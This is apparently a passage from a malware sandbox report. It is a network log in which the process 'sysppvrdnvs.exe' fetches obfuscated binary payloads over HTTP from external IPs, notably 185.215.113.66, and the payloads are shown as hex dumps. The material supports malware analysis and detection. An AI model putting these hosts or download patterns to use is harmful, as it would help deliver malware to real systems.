Oct 26, 2024 07:27:22.645297050 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:22 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 26, 2024 07:27:24.706722021 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:24.999893904 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:24 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 26, 2024 07:27:27.098504066 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:27.434320927 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:27 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 26, 2024 07:27:29.456048965 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:29.749228001 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:29 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50000	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:32.914791107 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:33.848124027 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:33 GMT Content-Type: application/octet-stream Content-Length: 110600 Last-Modified: Wed, 25 Sep 2024 06:10:18 GMT Connection: keep-alive ETag: "66f3a94a-1b008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 02 38 79 12 a8 9a 87 6a 07 b8 bb 78 39 22 7b 5b 26 ab 0b 54 4c be 08 2c 0a 8d 4c c0 6e 44 be d8 37 30 4c 6e a5 cc 8b 4d 50 c1 42 a2 d2 65 ba a4 81 27 94 4c 70 56 4a a8 a2 db 67 f9 0c f5 59 c6 b2 c1 1f 8d 5d ac c3 89 ec 68 3d 86 ef fd bc 4f 74 28 e6 50 3a c2 d3 07 6a 6a 6f 46 93 04 e6 15 ed 32 79 1c 90 b2 fd 3a d3 50 40 82 62 8a ae c7 36 5d 75 bd eb d1 44 5c de f6 69 34 3c d2 0d d5 09 51 3f 8a ab d7 f4 f8 b8 08 5f 3b 5d fc f8 21 e5 8e 41 10 34 b5 41 17 01 ea 08 9c 89 31 0a ed 63 f0 73 61 5e 9c 2b 64 51 21 78 6c fb 36 51 ff f4 38 77 85 e5 03 61 37 3f e6 e7 5d 83 54 25 3a 1b d7 d8 85 48 d7 31 b5 b0 aa 09 24 0f 6a bf de 08 ac b0 8b 83 34 66 b3 6b 21 83 92 7f 70 f8 46 7a d3 76 9e 08 8b 91 ef 0f 01 96 12 82 3f 6c 18 f9 80 35 dd a9 85 c7 37 09 bc 2e 28 13 d8 dd c0 99 3d 63 89 73 04 0d 63 08 46 cd 7b f2 d1 2d c6 75 45 b7 38 d9 44 1a f4 db 85 9f 51 46 02 09 c3 7c ba 38 8a 65 79 13 33 27 a7 40 3c 4b 71 9e fc 22 53 f7 2d 93 90 3f fd b9 34 a0 73 cc df b8 7f 2e 91 a7 53 85 ba 32 d7 bf fe [TRUNCATED] Data Ascii: NGS!8yjx9"{[&TL,LnD70LnMPBe'LpVJgY]h=Ot(P:jjoF2y:P@b6]uD\i4<Q?_;]!A4A1csa^+dQ!xl6Q8wa7?]T%:H1$j4fk!pFzv?l57.(=cscF{-uE8DQF\|8ey3'@<Kq"S-?4s.S2j=eLeYh+[}AM,@gW\Z)ET/\|"bWRoj(\|A,>?1;>"&;ucy[t`w #cdyysGx_ChI]Dey.:FQQC BZn2@X&>UYgDYZ)F!FFeh4VGK>V3#+$,&S.lkIF\Ck$)J_l\",0u!kT}V!YB{}nAL[Xo[+1\m,^bLMDj-g <_8d+-D/k<'dv-Qi`N4W(_"%5q844o4gdxsifcD^]M(A[gB4mwAV@g54]BLr!nWG,6+uY9U4OP&?vKi>X7Dto=2f
Oct 26, 2024 07:27:33.848284960 CEST	112	IN	Data Raw: b4 bd ad 62 69 93 e7 43 cf 35 4e 07 3e c2 37 6c 66 f1 c1 c8 10 ff ff ef 5e e4 1e 40 46 f2 4f 47 bb b9 53 b2 17 fe 91 80 48 a4 a5 9e 88 5e b0 09 b2 f7 1a 05 c1 ae 77 a6 1a 01 ba f2 27 90 fd 83 00 22 7e ab d7 16 d7 69 b8 9a d6 11 59 f5 10 ed 6f d3 Data Ascii: biC5N>7lf^@FOGSH^w'"~iYoT:1<~!HhQ:
Oct 26, 2024 07:27:33.848318100 CEST	1236	IN	Data Raw: df 50 5e 7f 28 4b 33 04 b4 3a a9 20 79 58 ed e3 8d 4d 5e 67 51 44 02 be a3 81 02 86 c9 f0 14 35 97 13 d9 96 cd e0 8c 35 1e b0 21 48 c2 e1 c2 46 e2 3f 1f af 7d 27 2b bf d5 57 0d 78 72 8d 70 c8 38 de 55 5f 48 89 81 a8 19 d0 bc 93 4b 5c e0 ff b8 c2 Data Ascii: P^(K3: yXM^gQD55!HF?}'+Wxrp8U_HK\UxQ)\|Rai>&y+eu BUHj{y0mlU"3S+I)~5DX#o&n3_$by<DLy/9o-T&ge1c80G~q!&
Oct 26, 2024 07:27:33.848352909 CEST	212	IN	Data Raw: 0c 17 99 f2 dc 4c 43 4c 1b 74 a4 2e 3b 7f 13 7b 31 10 68 ce 33 5d c9 ef c7 81 17 80 74 c1 fc 96 e6 99 a0 cf 08 de f9 ef c7 af b3 99 89 2e b0 c0 b8 e1 91 45 69 65 c0 5c 3f 1f 96 c7 05 7c c3 36 20 3a d9 99 20 a3 04 33 c0 2b cd 06 60 f3 53 fd 82 9c Data Ascii: LCLt.;{1h3]t.Eie\?\|6 : 3+`Se0L#}tK1(ss\|@a$@bWEgU4LlLAq5;z#@M8id8[y7pZN$S<[
Oct 26, 2024 07:27:33.848387957 CEST	1236	IN	Data Raw: fd 09 89 5a 84 98 ec 92 38 14 38 9c dd f9 b0 cb 41 ff 0b 97 6c 35 72 36 dd 5e 39 43 6b 6f 2b 40 c0 62 a9 0a 14 6b cb 24 3e 40 7c 23 d8 7d 5f 93 86 58 6b f8 d5 ed 16 bc f4 89 0f c2 d0 be 65 11 94 e8 c5 09 54 92 6c db a5 cf ff b7 18 b7 7e c2 a5 87 Data Ascii: Z88Al5r6^9Cko+@bk$>@\|#}_XkeTl~Kyyx.d;XbbE7PF-Pedz}F M1VDg~y%E*KsE"9a<5!bM+P14%Wc=9(R$ti+U:YyMdlO8
Oct 26, 2024 07:27:33.848438978 CEST	212	IN	Data Raw: b3 9a d4 43 6a e4 f2 75 97 0c 0b 1d f5 a2 e6 ca 87 f3 9f 2e 7f 2c f3 b9 08 6a 41 ba db af 20 e9 e2 b7 95 be 45 10 38 78 59 38 68 e6 91 4c ab 89 0a 4a 50 69 af 16 7c 4b 8c 1e ad b2 11 f5 6c d5 33 a8 b6 4b 4b 9b 3f e5 d7 4f 0d 8c cc 6e 56 26 e2 b9 Data Ascii: Cju.,jA E8xY8hLJPi\|Kl3KK?OnV& KyL1d6Y0m~ ?LOR9.0Ddr(dL]VcX/N=kT,f\&Kk~DMub;/G
Oct 26, 2024 07:27:33.848474979 CEST	1148	IN	Data Raw: 66 25 41 17 26 ff 90 a7 a4 94 3e bb 82 c0 74 68 f0 c3 9a 57 5a 9a 71 d4 2e 18 25 3f 21 ab fe ed 55 73 9b 2e 20 81 d7 ae c6 7c 76 d6 92 86 34 1a 33 80 84 40 dd 5e e0 fb cb c1 6b a3 fe 23 bb 66 d7 cd a1 6b ca dc ce 88 31 f2 a7 07 27 98 26 17 62 7e Data Ascii: f%A&>thWZq.%?!Us. \|v43@^k#fk1'&b~iV@\|,,@\|Pc('"NT3U?A}?m_>smVmm74tMZS-GJ0RCw\FP&_+[2`,#:
Oct 26, 2024 07:27:33.848510027 CEST	1236	IN	Data Raw: 9a 3d 1a cb 65 63 99 e9 ec 2a ec 6a 74 27 b6 34 e7 e0 38 9c 1f bd 84 c7 dd 5d 7e e8 48 a4 d8 f8 44 7b 6e a3 ed a1 ad 86 a6 86 56 bb 53 ac a1 28 d7 bd 27 4d a3 8f fc 96 cd 1b 45 18 db 7b b1 2c 9c 60 20 ba 19 27 f9 33 04 09 cf 97 a0 29 74 a8 c0 b0 Data Ascii: =ec*jt'48]~HD{nVS('ME{,` '3)t#Av@:VtVBD8^e`,idHd8H0"_]>4]23BIZ?[LxIX~$"dT~4PDKy\MI8kgy$"?
Oct 26, 2024 07:27:33.848539114 CEST	212	IN	Data Raw: d7 7a 67 28 d6 c6 01 2c 3d 2d 4c 98 3c d5 c2 bb 7a 20 67 e8 b5 c8 62 12 bb 0d be 5d 6b 63 d5 b8 d9 cf 76 b6 d5 53 0e c0 5d f2 84 03 26 79 78 c2 d4 60 35 9c 49 80 8e d5 5d c1 e3 7c 99 ec aa e5 5c ae dd a7 55 39 f2 15 94 88 7c 03 9b 18 96 55 32 7d Data Ascii: zg(,=-L<z gb]kcvS]&yx`5I]\|\U9\|U2}!#m<R122doz:=J-VmM[':50oNn_:Os}^~sH.Idu#}HRz"EnyT/
Oct 26, 2024 07:27:33.848572969 CEST	1236	IN	Data Raw: c5 ff 56 13 f0 5c 33 a0 fa f0 c9 91 56 2a da 57 b1 a0 5d 31 60 98 d3 80 b8 e2 b1 91 0e f9 69 77 b0 36 6d 2a b7 40 06 cd 49 fc 0a 65 10 10 22 09 6f 15 d8 e2 dd b0 55 6c ef 2a 23 5e f3 72 aa 97 53 5a ca 74 a9 6b 83 92 91 2e 5b b8 de 95 44 f7 17 ea Data Ascii: V\3VW]1`iw6m@Ie"oUl#^rSZtk.[D`i!A&\NtYJ@xi}S6s@%e i$+'JccC{d,;HGj("IMHM;"C@=
Oct 26, 2024 07:27:33.854101896 CEST	1236	IN	Data Raw: d2 bd 6a 4f b3 f3 04 fd dc 8f 4f 96 d4 d9 78 d6 71 22 12 a0 26 ee 4c 98 92 fa 8b f7 60 62 d2 48 5b 9c 20 f3 ab a1 00 23 51 da cb 45 93 a3 0b c0 aa 32 dc 5d 20 9b af 53 0c de 0c 96 80 4e 52 82 a5 e3 34 73 ce 83 78 32 e8 77 f0 e5 9c fd 79 ba 01 1c Data Ascii: jOOxq"&L`bH[ #QE2] SNR4sx2wyHqDFA/ga:{X>O!{\o9P-\ g(y1EGK9/pvAyNbgZF'%V[X$x7Z'Owa5hhyX&1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50001	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:35.884700060 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:36.812014103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:36 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ _^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Oct 26, 2024 07:27:36.812073946 CEST	1236	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP~TELBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^
Oct 26, 2024 07:27:36.812087059 CEST	424	IN	Data Raw: 25 31 0a 68 9c d8 ba 48 4c 90 81 b7 28 74 68 c8 16 f9 b8 2a c6 90 b0 6c 31 39 f2 bf 87 64 53 3a 32 36 df 01 fc e5 9e 18 72 19 69 e2 c7 ef 65 32 01 84 09 84 3b 94 85 f3 13 25 da 52 6f 20 19 c5 d9 dd d1 da 08 6e 35 b4 1e 41 c3 9d d9 91 9f 3f 3a 82 Data Ascii: %1hHL(th*l19dS:26rie2;%Ro n5A?:p"~ B'P?:/B1%yN[u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)W
Oct 26, 2024 07:27:36.812099934 CEST	1236	IN	Data Raw: 1b 49 f7 8a fd 79 6e dc 1e bc c9 15 68 4a 7c 6b 88 9e f6 d1 3b 4f ec fa a2 85 54 ef 0a 00 f3 76 83 92 c6 6d c1 6b 97 40 dd 35 48 d7 f8 64 1e f7 cc ed 74 03 72 be 68 20 16 a4 ee 0b e1 7f 53 dd f1 ab 5e 7f 99 d8 ee 4c e7 a7 08 4f 10 08 bf 26 1f b5 Data Ascii: IynhJ\|k;OTvmk@5Hdtrh S^LO&,8_\KA0VIMF&n;B!]U~1&w\TU~y&n()ft2o9YG1>TuOIZLz9iB8"O*7ys8I]!?)V}Iv
Oct 26, 2024 07:27:36.812112093 CEST	1236	IN	Data Raw: 05 a9 18 6c fe 42 37 2d 2a 59 74 3b 7c 72 a6 7f bc 53 8f 84 17 e1 ce b6 df 7b 2e cc fe ad d3 67 94 ad 64 94 17 66 6f 77 a9 25 e8 c6 95 fc 04 66 2e e7 d9 ff 74 17 04 8d 99 42 fd a1 f8 96 48 a0 81 7b c7 3a 1b 42 00 df a2 0f ff 61 7b c9 c1 25 fd ba Data Ascii: lB7-Yt;\|rS{.gdfow%f.tBH{:Ba{%dPL(Q6V>m:p@Nx!I EKJ{s`#UWr\|Df~Y:<@c?-G+TfV6[_lCQh!UXs{m`/c3KS
Oct 26, 2024 07:27:36.812123060 CEST	24	IN	Data Raw: 65 50 e5 64 b8 74 ba 6e 71 60 59 36 47 34 c4 89 40 bc 81 34 47 fe 22 ff Data Ascii: ePdtnq`Y6G4@4G"
Oct 26, 2024 07:27:36.812194109 CEST	1236	IN	Data Raw: eb 45 4c 97 ef 2a 1d 2d 9e 44 a8 12 24 dd 16 68 4f 59 12 bf 43 b3 04 4d 19 04 15 bf 01 95 74 9f 14 3b 45 eb f3 d9 62 da 79 9d 16 ba d9 cc d4 f6 3b 74 51 be 85 05 66 0a 71 89 56 7b 23 ef 62 eb 74 a4 a1 98 46 d2 dd b1 ee e3 47 91 89 f2 99 71 dc c6 Data Ascii: EL-D$hOYCMt;Eby;tQfqV{#btFGqNPs%#@#&AG =OPpuLx!$A<k_xmO1>v@O;KbSs YUN7L'A4Ht\is
Oct 26, 2024 07:27:36.812206984 CEST	1236	IN	Data Raw: 44 69 97 04 49 86 d7 b5 59 b2 c1 bc a6 6a 60 69 c7 d9 b8 01 f1 03 06 0d 0c b0 fc aa 40 67 6e cf 94 4b 3d fa 20 12 1c 7b e4 0b 90 7d 37 06 4e 57 b1 53 8d e6 1f 43 0a 22 07 24 10 5a 1b cc 5e 22 4c 64 d0 cf 28 1b 24 a8 fd 5d 0e a7 38 e6 2c 0c cf cb Data Ascii: DiIYj`i@gnK= {}7NWSC"$Z^"Ld($]8,C"e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1!FWy7JKPh,2W>>{]t4iUaAIdBJ+:O"
Oct 26, 2024 07:27:36.812218904 CEST	1236	IN	Data Raw: 35 cc 98 17 45 ee fe 11 2f 11 f1 a7 11 08 7a 36 51 5b b6 a4 0e 15 e5 4f 37 a2 fb 50 32 88 95 be 22 83 f8 5b e1 64 e4 26 6d 00 c2 f9 4d d2 e9 39 54 4c 7c cb b9 79 ca fe 4c 17 8d 93 22 88 09 b9 f5 c4 36 45 30 a8 2c c4 29 da af 3d 55 db 50 b9 bd 72 Data Ascii: 5E/z6Q[O7P2"[d&mM9TL\|yL"6E0,)=UPr4;2JaQ{f8-{=i,JHy +9Oq;;=`}>b2[6R+6w\|Ajc,{2.dEp,YsEn8W!A2Ou`H0w.z+Vj2W7r5HQ
Oct 26, 2024 07:27:36.812236071 CEST	124	IN	Data Raw: d0 b8 b8 a4 7a f1 78 a6 de a0 98 fd d5 94 21 bb 17 c0 a8 30 d8 8a ec e3 68 e4 92 ee fd a2 e1 0f 48 24 3b bd 86 96 39 f7 ff d2 03 60 b8 c4 c9 a9 36 ad c1 5c 28 3c f3 9d ac d2 56 a1 15 36 37 e1 45 39 05 02 82 2f aa 3a 6a 3b 9e 3e 7c 57 a3 17 b7 f3 Data Ascii: zx!0hH$;9`6\(<V67E9/:j;>\|Wk<cb4Gcap`%SmttII@i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50004	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:39.062304020 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:40.163943052 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:39 GMT Content-Type: application/octet-stream Content-Length: 16128 Last-Modified: Wed, 25 Sep 2024 06:10:59 GMT Connection: keep-alive ETag: "66f3a973-3f00" Accept-Ranges: bytes Data Raw: aa ff 5b 85 19 de 79 93 4d ba ae a5 78 a9 fd 33 2b 5f 5b 98 2f e2 90 9b 43 bd 1a 0d 04 b2 f0 0d e0 d2 4c b9 c7 49 cc d7 d9 86 fc 8a cb a9 8a a3 e8 4b 30 70 cc 50 61 19 a3 47 82 6a 87 71 cd 8c 0c 72 ae da 3e dd b2 2b 22 4d d7 28 a6 af 1c bc 29 de 1c 02 e5 f1 a6 6e 66 9e dd 18 a8 da 2b ff 6d c4 8d ee fd 38 60 ba e4 86 f4 d7 40 df 27 56 a7 f2 ca 5d 5f fa 84 aa 7b cf 31 80 26 